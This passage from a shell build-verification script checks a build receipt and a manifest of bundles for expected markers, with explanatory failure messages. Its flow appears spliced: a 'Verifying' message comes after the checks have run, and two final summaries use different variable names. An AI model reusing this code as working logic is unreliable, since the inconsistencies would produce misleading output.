fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass."
count=0
while read -r file; do
[ -n "$file" ] || continue
[ -f "$file" ] ||
fail "$MANIFEST lists $file, which does not exist."
[ -s "$file" ] ||
fail "$MANIFEST lists $file, which is empty. An empty bundle
carries no marker and proves nothing, so this is a failure and not a pass."
read_marker "$file"
[ "$MARKER" = "$expected" ] ||
fail "$file is $MARKER but this build expects $expected."
echo " ok: $file ($MARKER)"
count=$((count + 1))
done <"$MANIFEST"
echo "Verifying emitted files against the build receipt (expecting" \
"$EXPECT)..."
[ "$count" -gt 0 ] || fail "no bundles were inspected."
# Order matters. The receipt has to be well-formed before it is used as an
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
check_unlisted_bundles
echo "verify-build: $count bundle(s) verified $expected"
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
"$AUDITED bundle(s) $EXPECT"
}
main "$@"